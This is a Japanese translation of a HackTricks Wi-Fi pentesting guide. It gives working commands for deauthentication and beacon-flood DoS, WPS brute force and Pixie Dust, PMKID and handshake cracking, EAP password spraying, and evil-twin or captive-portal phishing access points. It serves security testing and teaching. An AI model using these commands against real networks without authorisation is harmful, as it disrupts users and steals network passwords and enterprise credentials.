.. | ||
evil-twin-eap-tls.md | ||
README.md |
Wifiのペンテスト
**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksのグッズを入手してください
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つけてください
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- ハッキングトリックを共有するためにPRを送信して HackTricks と HackTricks Cloud のGitHubリポジトリに貢献してください。
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るためにHackenProof Discordサーバーに参加しましょう!
ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
リアルタイムのハックニュース
リアルタイムのニュースと洞察を通じてハッキングの世界の速いペースについていきましょう
最新のアナウンス
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて最新情報を入手しましょう
**Discordに参加して、今日からトップハッカーと協力を始めましょう!
Wifi基本コマンド
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
ツール
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
Airgeddonは、無線ネットワークの監査、攻撃、テスト、およびセキュリティオプションを提供する多機能のスクリプトです。このツールは、さまざまな無線ネットワークセキュリティ攻撃を実行するための包括的な環境を提供します。
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Dockerを使用してairgeddonを実行する
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
wifiphisher
Evil Twin、KARMA、およびKnown Beacons攻撃を実行し、その後フィッシングテンプレートを使用してネットワークの実際のパスワードを取得したり、ソーシャルネットワークの資格情報をキャプチャしたりすることができます。
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
このツールはWPS/WEP/WPA-PSK攻撃を自動化します。自動的に以下を行います:
- インターフェースをモニターモードに設定する
- 可能なネットワークをスキャンし、被害者を選択できるようにする
- WEPの場合はWEP攻撃を実行する
- WPA-PSKの場合
- WPSの場合:Pixieダスト攻撃とブルートフォース攻撃(ブルートフォース攻撃には時間がかかる可能性があるため注意が必要です)。ヌルPINやデータベース/生成されたPINは試みません。
- APからPMKIDをキャプチャしてクラックを試みる
- APのクライアントをデオーセンティケートしてハンドシェイクをキャプチャしようとする
- PMKIDまたはハンドシェイクがある場合、top5000のパスワードを使用してブルートフォース攻撃を試みる
攻撃の概要
- DoS
- サービス拒否
- デオーセンティケーション/切断 - すべてのクライアント(または特定のESSID/クライアント)を切断
- ランダムな偽のAP - ネットワークを隠し、スキャナーをクラッシュさせる可能性がある
- APの過負荷 - APを停止しようとする(通常はあまり役に立たない)
- WIDS - IDSとの相互作用
- TKIP、EAPOL - 一部のAPをDoSするための特定の攻撃
- クラッキング
- WEPのクラック(複数のツールと方法)
- WPA-PSK
- WPS PIN "ブルートフォース"
- WPA PMKID ブルートフォース
- [DoS +] WPAハンドシェイク キャプチャ + クラック
- WPA-MGT
- ユーザー名のキャプチャ
- ブルートフォース 資格情報
- Evil Twin(DoSあり/なし)
- オープン Evil Twin [+ DoS] - キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を実行するのに役立つ
- WPA-PSK Evil Twin - パスワードを知っている場合にネットワーク攻撃に役立つ
- WPA-MGT - 企業の資格情報をキャプチャするのに役立つ
- KARMA、MANA、Loud MANA、Known beacon
- + オープン - キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を実行するのに役立つ
- + WPA - WPAハンドシェイクをキャプチャするのに役立つ
DOS
デオーセンティケーションパケット
この種の攻撃が行われる最も一般的な方法は、デオーセンティケーションパケットを使用することです。これらはアクセスポイントからデバイスを切断する責任がある「管理」フレームの一種です。これらのパケットを偽造することが、いつでもネットワークからクライアントを強制的に切断できるため、多くのWi-Fiネットワークをハッキングする鍵となります。これが行われることの容易さは、多少恐ろしいものであり、しばしばWPAハンドシェイクを収集する一環として行われます。
この切断を一時的に利用してハンドシェイクを収集してクラックするだけでなく、これらのデオーセンティケーションを継続させることもできます。これにより、クライアントが接続しているネットワークからのように見えるデオーセンティケーションパケットがクライアントに送信されます。これらのフレームは暗号化されていないため、多くのプログラムが管理フレームを利用してこれらを偽造し、ネットワーク上の1つまたはすべてのデバイスに送信します。
ここからの説明 こちら。
Aireplay-ngを使用したデオーセンティケーション
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 は切断を意味します
- 1 は送信する切断の数です(複数送信することもできます);0 は連続して送信します
- -a 00:14:6C:7E:40:80 はアクセスポイントのMACアドレスです
- -c 00:0F:B5:34:30:30 は切断するクライアントのMACアドレスです;これを省略するとブロードキャスト切断が送信されます(常に機能しない場合があります)
- ath0 はインターフェース名です
切断パケット
切断パケットは、ノード(ラップトップや携帯電話などのデバイス)を近くのアクセスポイントから切断するために使用される管理フレームの別のタイプです。切断フレームと切断フレームの違いは、主に使用される方法です。
不正なデバイスを切断するためにAPが切断パケットを送信してデバイスにネットワークから切断されたことを通知するのに対し、切断パケットは、APが電源を切ったり、再起動したり、エリアを離れるときにノードを切断するために使用されます。
こちら からの説明。
この攻撃は mdk4(モード "d")によって実行できます:
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
mdk4によるさらなるDOS攻撃
こちら から。
攻撃モードb: ビーコンフラッディング
クライアントに偽のAPを表示するためにビーコンフレームを送信します。これにより、ネットワークスキャナーさえクラッシュすることがあります!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
攻撃モードa: 認証サービス拒否
範囲内で見つかったすべてのAPに認証フレームを送信します。多くのクライアントがいると、いくつかのAPがフリーズしたりリセットされる可能性があります。
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
攻撃モード p: SSID プロービングとブルートフォース
AP をプローブし、応答を確認します。SSID が正しく非表示にされているかどうか、および AP が送信範囲内にあるかどうかを確認するのに便利です。単語リストを使用してまたは使用せずに、非表示の SSID のブルートフォース も可能です。
攻撃モード m: Michael 対策の悪用
ランダムなパケットを送信したり、別の QoS キューに重複パケットを再注入して、TKIP AP で Michael 対策を誘発します。AP はその後、1分間シャットダウンされ、これにより効果的な DoS が発生します。
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
攻撃モード e: EAPOL 開始およびログオフパケットのインジェクション
EAPOL 開始フレームを使って AP に洪水を起こし、偽のセッションで忙しくさせ、合法的なクライアントを処理できないようにします。または、偽の EAPOL ログオフメッセージをインジェクトしてクライアントをログオフします。
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s: IEEE 802.11sメッシュネットワーク向けの攻撃
メッシュネットワークにおけるリンク管理やルーティングに対するさまざまな攻撃。隣接ノードや経路を洪水にし、ブラックホールを作成してトラフィックを転送します!
ATTACK MODE w: WIDS混乱
クライアントを複数のWDSノードや偽のローグAPにクロス接続することで侵入検知および防止システムを混乱させる/悪用する。
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
攻撃モード f: パケットファズナー
複数のパケットソースと豊富な修飾子を備えたシンプルなパケットファズナー。注意して使用してください!
Airggedon
Airgeddon は、前述のコメントで提案された攻撃のほとんどを提供します:
WPS
WPS は Wi-Fi Protected Setup の略です。これは、ルーターとワイヤレスデバイス間の接続をより速く簡単にすることを試みるワイヤレスネットワークセキュリティ標準です。**WPS は、WPA Personal または WPA2 Personal セキュリティプロトコルで暗号化されたパスワードを使用するワイヤレスネットワークにのみ適用されます。WPS は、基本的なツールとスキルを持つハッカーによって簡単にクラックされる古い WEP セキュリティを使用しているワイヤレスネットワークでは機能しません。(こちらより)
WPS は、ユーザーがネットワークに接続するために 8 桁の PIN を使用しますが、最初に最初の 4 桁がチェックされ、正しい場合にのみ次の 4 桁がチェックされます。その後、最初の半分と次の半分をブルートフォースすることが可能です(わずか 11000 通り)。
WPS ブルートフォース
このアクションを実行するための主要な 2 つのツールがあります: Reaver と Bully。
- Reaver は、WPS に対する堅牢で実用的な攻撃を行うよう設計されており、さまざまなアクセスポイントと WPS 実装に対してテストされています。
- Bully は、C で書かれた WPS ブルートフォース攻撃の新しい実装です。オリジナルの reaver コードに比べて、依存関係が少なく、メモリと CPU のパフォーマンスが向上し、エンディアンの処理が正しく行われ、より堅牢なオプションが用意されています。
この攻撃は、8 桁の WPS PIN コードの脆弱性を利用しています。この問題のため、プロトコルは PIN の最初の 4 桁に関する情報を開示し、最後の桁がチェックサムとして機能するため、WPS AP のブルートフォースが容易になります。
一部のデバイスには、繰り返し攻撃を試みる MAC アドレスをブロックする通常のブルートフォース保護が含まれている場合があります。その場合、この攻撃の複雑さが増加し、PIN をテストする間に MAC アドレスを切り替える必要があります。
WPS の有効なコードが見つかった場合、Bully と Reaver はそれを使用してネットワークを保護するために使用される WPA/WPA2 PSK を発見し、必要なときにいつでも接続できるようになります。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
スマートブルートフォース
すべての可能なPINを試す代わりに、攻撃しているAPのために利用可能なPINが発見されたかどうかを確認(製造元MACに依存)し、PINソフトウェアが生成したPINをチェックすべきです。
- 既知のPINのデータベースは、特定の製造元のアクセスポイント用に作成されており、同じWPS PINが使用されていることが知られています。このデータベースにはMACアドレスの最初の3つのオクテットと、この製造元にとって非常に可能性の高い対応するPINのリストが含まれています。
- WPS PINを生成するためのいくつかのアルゴリズムがあります。たとえば、ComputePINとEasyBoxは、計算にアクセスポイントのMACアドレスを使用します。ただし、ArcadyanアルゴリズムではデバイスIDも必要です。
WPS Pixie Dust攻撃
Dominique Bongardは、一部のAPがノンス(E-S1およびE-S2として知られる)を生成する弱い方法を発見しました。これらのノンスが何であるかを特定できれば、APのWPS PINを簡単に見つけることができます。なぜなら、APはPINを知っていることを証明するためにハッシュでPINを提供しなければならず、クライアントが不正なAPに接続していないことを示すためです。これらのE-S1とE-S2は、基本的にWPS PINを含む「ロックボックスを開けるための鍵」です。詳細はこちら:https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
基本的に、一部の実装は、PINを2つの部分に分解して認証通信中にクライアントに送信する際にランダムなキーの使用に失敗したため、オフライン攻撃を使用して有効なPINをブルートフォースできます。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Null Pin攻撃
一部の実装がNull PINを接続許可している(非常に奇妙でもある)。Reaverはこれをテストできる(Bullyはできない)。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
提案されたすべてのWPS攻撃は、airgeddon を使用して簡単に実行できます。
- 5と6は、独自のPIN(あれば)を試すことができます
- 7と8はPixie Dust攻撃を実行します
- 13はNULL PINをテストできます
- 11と12は、利用可能なデータベースから選択したAPに関連するPINを再収集し、ComputePIN、EasyBox、およびオプションでArcadyan(おすすめ、なぜなら)を使用して可能なPINを生成します
- 9と10はすべての可能なPINをテストします
WEP
壊れて消えたので、それについては話しません。ただし、airgeddon にはこの種の保護を攻撃するための「All-in-One」というWEPオプションがあります。他のツールも同様のオプションを提供しています。
HackenProof Discord サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
リアルタイムのハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていきましょう
最新の発表
最新のバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
**Discord に参加して、今日からトップハッカーと協力を始めましょう!
WPA/WPA2 PSK
PMKID
2018年、hashcatの作者は、1つのパケットに依存する新しいタイプの攻撃を公開しましたが、この攻撃にはターゲットAPに接続されているクライアントは必要ありませんが、攻撃者とAPとの通信だけで済みます。
現代の多くのルーターが、誰かが関連付けを行うときにAP自体から送信される最初のEAPOLフレームの末尾にオプションのフィールドを追加することがわかりました。これをRobust Security Network
と呼び、PMKID
と呼ばれるものを含んでいます。
元の投稿で説明されているように、PMKIDは、私たちに知られているデータを使用して派生します:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
“PMK Name”文字列が一定であるため、APとステーションのBSSID、およびPMK
が完全な4ウェイハンドシェイクから取得されたものと同じであることがわかっているため、これはhashcatがPSKを解読し、パスフレーズを回復するために必要なすべてです!
こちらから取得した説明。
この情報を収集し、ローカルでパスワードをブルートフォースするには、次の手順を実行できます:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
PMKIDs captured は コンソール に表示され、また /tmp/attack.pcap にも 保存 されます。
次に、キャプチャを hashcat/john フォーマットに変換してクラックします:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
正しいハッシュの形式は4つの部分を含んでいることに注意してください。例: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7*566f6461666f6e65436f6e6e6563743034383131343838
__もし3つの部分しか含まれていない場合、それは無効です(PMKIDキャプチャが有効ではありませんでした)。
hcxdumptool
はハンドシェイクもキャプチャします(次のようなものが表示されます: MP:M1M2 RC:63258 EAPOLTIME:17091
)。cap2hccapx
を使用してハンドシェイクをhashcat/john形式に変換することができます。
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
このツールでキャプチャされた一部のハンドシェイクは、正しいパスワードを知っていてもクラックできないことがありました。可能であれば、伝統的な方法でもハンドシェイクをキャプチャするか、このツールを使用して複数のハンドシェイクをキャプチャすることをお勧めします。
ハンドシェイクのキャプチャ
WPA/WPA2 ネットワークを攻撃する方法の1つは、ハンドシェイクをキャプチャして使用されたパスワードをオフラインでクラックしようとすることです。これを行うには、被害者ネットワークのBSSIDとチャンネル、およびネットワークに接続されているクライアントを見つける必要があります。
この情報を入手したら、そのBSSIDがそのチャンネルでのすべての通信をリッスンする必要があります。なぜなら、ハンドシェイクがそこに送信されることを期待しているからです。
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
今、数秒間クライアントをdeauthenticateする必要があります。これにより、自動的にAPに再認証されます(クライアントをdeauthenticateするいくつかの方法については、DoSの部分を読んでください):
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
クライアントが認証解除された場合、別のAPに接続しようとする可能性があるか、別のネットワークに接続しようとする場合があります。
airodump-ng
にハンドシェイク情報が表示されると、ハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます:
ハンドシェイクがキャプチャされたら、aircrack-ng
でクラックすることができます:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
ファイル内のハンドシェイクをチェックします
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
このツールが、完了していないESSIDのハンドシェイクを完了したものよりも先に見つけた場合、有効なものを検出しません。
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPAエンタープライズ(MGT)
企業Wifiで使用されるさまざまな認証方法について話すことが重要です。この種のWifiでは、airodump-ng
で次のようなものが見つかる可能性があります。
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
EAP(Extensible Authentication Protocol)は認証通信の骨組みであり、その上にサーバーがクライアント(supplicant)を認証するために認証アルゴリズムが使用され、場合によってはクライアントがサーバーを認証するためにも使用されます。
この場合に使用される主要な認証アルゴリズム:
- EAP-GTC: EAPメソッドで、ハードウェアトークンとワンタイムパスワードをEAP-PEAPでサポートするために使用されます。実装はMSCHAPv2に類似していますが、ピアチャレンジは使用しません。代わりに、パスワードは平文でアクセスポイントに送信されます(ダウングレード攻撃に非常に興味深い)。
- EAP-MD-5(メッセージダイジェスト): クライアントはパスワードのMD5ハッシュを送信します。推奨されません:辞書攻撃に対して脆弱であり、サーバー認証がなく、セッションごとのWEPキーを生成する方法がありません。
- EAP-TLS(トランスポートレイヤーセキュリティ): クライアント側とサーバー側の証明書に依存して認証を行い、ユーザーベースおよびセッションベースのWEPキーを動的に生成して、その後の通信を保護します。
- EAP-TTLS(トンネルトランスポートレイヤーセキュリティ): 暗号化されたチャネル(またはトンネル)を介してクライアントとネットワークの相互認証を行い、動的なユーザーごとのセッションごとのWEPキーを導出する手段を提供します。EAP-TLSとは異なり、EAP-TTLSはサーバー側の証明書のみを必要とします(クライアントは資格情報を使用します)。
- PEAP(保護拡張認証プロトコル): PEAPはEAPプロトコルのようですが、通信を保護するためにTLSトンネルを作成します。その後、EAPの上に弱い認証プロトコルを使用できますが、それらはトンネルによって保護されます。
- PEAP-MSCHAPv2: これはPEAPとしても知られています。これはPEAPの上に脆弱なチャレンジ/レスポンスであるMSCHAPv2が配置されています(TLSトンネルによって保護されています)。
- PEAP-EAP-TLSまたはPEAP-TLS: EAP-TLSに非常に似ていますが、証明書の交換の前にTLSトンネルが作成されます。
これらの認証方法に関する詳細情報はこちらおよびこちらで入手できます。
ユーザー名のキャプチャ
https://tools.ietf.org/html/rfc3748#page-27を読むと、EAPを使用している場合、"Identity" メッセージがサポートされている必要があり、ユーザー名が**"Response Identity"メッセージでクリア**に送信されることになります。
最も安全な認証方法の1つであるPEAP-EAP-TLSを使用していても、EAPプロトコルで送信されたユーザー名をキャプチャすることが可能です。これを行うには、認証通信をキャプチャ(チャネル内でairodump-ng
を開始し、同じインターフェースでwireshark
を開始)し、パケットをeapol
でフィルタリングします。
"Response, Identity"パケットの中に、クライアントのユーザー名が表示されます。
匿名ID
EAP-PEAPおよびEAP-TTLSの両方で、匿名IDの非表示がサポートされています。WiFiネットワークのコンテキストでは、EAP-Identityリクエストは通常、アクセスポイント(AP)によって関連付けプロセス中に開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、リクエストを処理するために初期のRADIUSサーバーに必要な基本情報のみが含まれます。この概念は、次のシナリオを通じて説明されます:
-
EAP-Identity = anonymous
- このシナリオでは、すべてのユーザーが疑似的な「anonymous」をユーザー識別子として使用します。初期のRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーとして機能し、PEAPまたはTTLSプロトコルのサーバーサイドを管理します。その後、内部(保護された)認証メソッドは、ローカルで処理されるか、リモート(ホーム)RADIUSサーバーに委任されます。
-
EAP-Identity = anonymous@realm_x
-
この状況では、異なるレルムのユーザーは自分たちのレルムを示しながら自分たちのアイデンティティを隠します。これにより、初期のRADIUSサーバーは、ユーザーのホームレルムのRADIUSサーバーにEAP-PEAPまたはEAP-TTLSリクエストをプロキシし、そのサーバーがPEAPまたはTTLSサーバーとして機能します。初期のRADIUSサーバーは、単にRADIUSリレーノードとして動作します。
-
代わりに、初期のRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証メソッドを処理するか、別のサーバーに転送します。このオプションは、さまざまなレルムに異なるポリシーを構成することを可能にします。
-
EAP-PEAPでは、PEAPサーバーとPEAPクライアント間にTLSトンネルが確立されると、PEAPサーバーがEAP-Identityリクエストを開始し、TLSトンネルを介して送信します。クライアントは、この2番目のEAP-Identityリクエストに応答して、暗号化されたトンネルを介してユーザーの実際のアイデンティティを含むEAP-Identity応答を送信します。このアプローチにより、802.11トラフィックを盗聴している人にユーザーの実際のアイデンティティが明らかにされるのを効果的に防ぎます。
EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、クライアントは通常、TLSトンネルで保護されたPAPまたはCHAPを使用して認証します。この場合、クライアントは、トンネル確立後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。
選択したプロトコルに関係なく、PEAP/TTLSサーバーはTLSトンネルが確立された後にユーザーの実際のアイデンティティを取得します。実際のアイデンティティは、user@realmまたは単にuserとして表されます。PEAP/TTLSサーバーがユーザーの認証も担当する場合、ユーザーのアイデンティティを取得し、TLSトンネルで保護された認証メソッドを続行します。別の場合、PEAP/TTLSサーバーはユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送します。この新しいRADIUSリクエストにはPEAPまたはTTLSプロトコルレイヤーが含まれません。保護された認証メソッドがEAPである場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。送信されるRADIUSメッセージのUser-Name属性には、着信RADIUSリクエストで見つかった匿名User-Nameを置き換えるため、ユーザーの実際のアイデンティティが含まれます。保護された認証メソッドがPAPまたはCHAP(TTLSでのみサポート)である場合、TLSペイロードから抽出されたUser-Nameおよびその他の認証属性が、着信RADIUSリクエストで見つかった匿名User-NameおよびTTLS EAP-Message属性を置き換えて、送信されるRADIUSメッセージに代入されます。
詳細については、こちらを参照してください。
EAP-Bruteforce(パスワードスプレー)
クライアントがユーザー名とパスワードを使用することが期待される場合(EAP-TLSはこの場合有効ではありません)、ユーザー名のリスト(次の部分を参照)とパスワードを取得して、air-hammerを使用してアクセスをブルートフォースすることができます。
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
この攻撃はeaphammer
を使用しても実行することができます:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
クライアント攻撃の理論
ネットワーク選択とローミング
802.11プロトコルはESSに参加する方法を規定する非常に具体的なルールを持っていますが、ステーションが接続するESSを選択する方法は規定していません。さらに、プロトコルは、同じESSIDを共有するアクセスポイント間を自由にローミングできるようにします(建物の一方から他方に移動する際にWiFi接続を失いたくないため)。ただし、802.11プロトコルはこれらのアクセスポイントがどのように選択されるべきかを規定していません。さらに、ステーションはアクセスポイントに関連付けるためにESSに認証されなければならないが、802.11プロトコルはアクセスポイントがステーションに認証されることを要求していません。
優先ネットワークリスト(PNL)
ステーションがワイヤレスネットワークに接続するたびに、ネットワークのESSIDがステーションの優先ネットワークリスト(PNL)に保存されます。 PNLは、ステーションが過去に接続したすべてのネットワークの順序付きリストであり、PNLの各エントリには、ネットワークのESSIDと接続を確立するために必要なネットワーク固有の構成情報が含まれています。
パッシブスキャン
インフラストラクチャネットワークでは、アクセスポイントは定期的にビーコンフレームを送信して、近くのステーションに自分の存在と機能を広告します。 ビーコンはブロードキャストフレームであり、つまり、範囲内のすべての近くのステーションに受信されることを意味します。 ビーコンには、APのサポートされているレート、暗号化機能、追加情報、そして最も重要なのは、APのESSIDが含まれています(ESSIDブロードキャストが無効になっていない限り)。
パッシブスキャン中、クライアントデバイスは近くのアクセスポイントからのビーコンフレームを受信します。 クライアントデバイスがクライアントのPNLからのESSIDと一致するESSIDフィールドを持つビーコンフレームを受信した場合、クライアントはそのビーコンフレームを送信したアクセスポイントに自動的に接続します。 そして、現在どのワイヤレスにも接続されていないワイヤレスデバイスをターゲットにしたいとします。 そのクライアントのPNLの少なくとも1つのエントリを知っている場合、そのエントリのESSIDを持つ自分自身のアクセスポイントを作成するだけで、クライアントを接続させることができます。
アクティブプロービング
802.11で使用される2番目のネットワーク選択アルゴリズムはアクティブプロービングとして知られています。 アクティブプロービングを使用するクライアントデバイスは、APが範囲内にあるかどうか、およびその機能が何であるかを確認するために、継続的にプローブリクエストフレームを送信します。 プローブリクエストには、指示されたものとブロードキャストの2つの形式があります。 指示されたプローブリクエストは特定のESSIDにアドレス指定され、特定のネットワークが近くにあるかどうかをクライアントが確認する方法です。
指示されたプローブリクエストを使用するクライアントは、PNL内の各ネットワークに対してプローブリクエストを送信します。 近くに隠れたネットワークが存在することを特定する唯一の方法が指示されたプロービングであることに注意する必要があります。 ブロードキャストプローブリクエストはほぼ同じ方法で機能しますが、SSIDフィールドがNULLに設定されています。 これにより、ブロードキャストプローブがすべての近くのアクセスポイントに送信され、ステーションはPNLの内容を明らかにせずに、好ましいネットワークが近くにあるかどうかを確認できます。
インターネットにリダイレクトされるシンプルなAP
より複雑な攻撃を実行する方法を説明する前に、インターネットに接続されたインターフェースにトラフィックをリダイレクトするAPを作成する方法について説明します。
ifconfig -a
を使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認します。
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
以下のように /etc/dnsmasq.conf という設定ファイルを作成します:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
次に、IPアドレスとルートを設定します:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
そして、dnsmasqを開始します:
dnsmasq -C dnsmasq.conf -d
hostapd
hostapd
apt-get install hostapd
Create a config file _hostapd.conf:_
ホストAPDの設定ファイル _hostapd.conf:_ を作成してください。
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
うるさいプロセスを停止し、モニターモードを設定し、hostapdを起動します:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
フォワーディングとリダイレクト
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
イービルツイン
イービルツイン攻撃は、ほとんどのコンピュータや携帯電話がワイヤレスネットワークの「名前」またはESSIDのみを見るために機能するWi-Fi攻撃の一種です(基地局はクライアントに対して認証を必要としないため)。実際、同じ名前と同じ種類の暗号化を使用するネットワークを区別するのは非常に難しいことになります。実際、多くのネットワークは、ユーザーを混乱させることなくアクセスを拡張するために、同じ名前を使用する複数のネットワーク拡張アクセスポイントを持っています。
クライアントの実装方法による(802.11プロトコルにより、同じESS内のアクセスポイント間を自由にローミングできることを覚えておいてください)、デバイスを接続されている基地局を変更させることが可能です。これは、より良い信号を提供すること(常に可能とは限りません)や、元の基地局へのアクセスをブロックすること(認証解除パケット、ジャミング、またはその他の形式のDoS攻撃)によって行うことが可能です。
また、実際のワイヤレス展開では通常、単一のアクセスポイントよりも複数のアクセスポイントがあり、これらのアクセスポイントは天井に向けて配置されているため、より強力で視界の良い範囲を持っています。単一のアクセスポイントの認証解除は、通常、ターゲットがローグAPではなく別の有効なアクセスポイントにローミングする結果となります、周辺のすべてのアクセスポイントが認証解除されている(ラウド)か、ローグAPの配置に非常に注意を払っている場合(難しい)を除いて。
インターネットへのトラフィックをルーティングする機能がない非常に基本的なオープンイービルツインを作成することができます。
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
あなたはeaphammerを使用してEvil Twinを作成することもできます(eaphammerを使用してEvil Twinを作成するには、インターフェースがモニターモードになっていてはいけません)。
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
または、Airgeddonを使用する:オプション:5,6,7,8,9(Evil Twin攻撃メニュー内)。
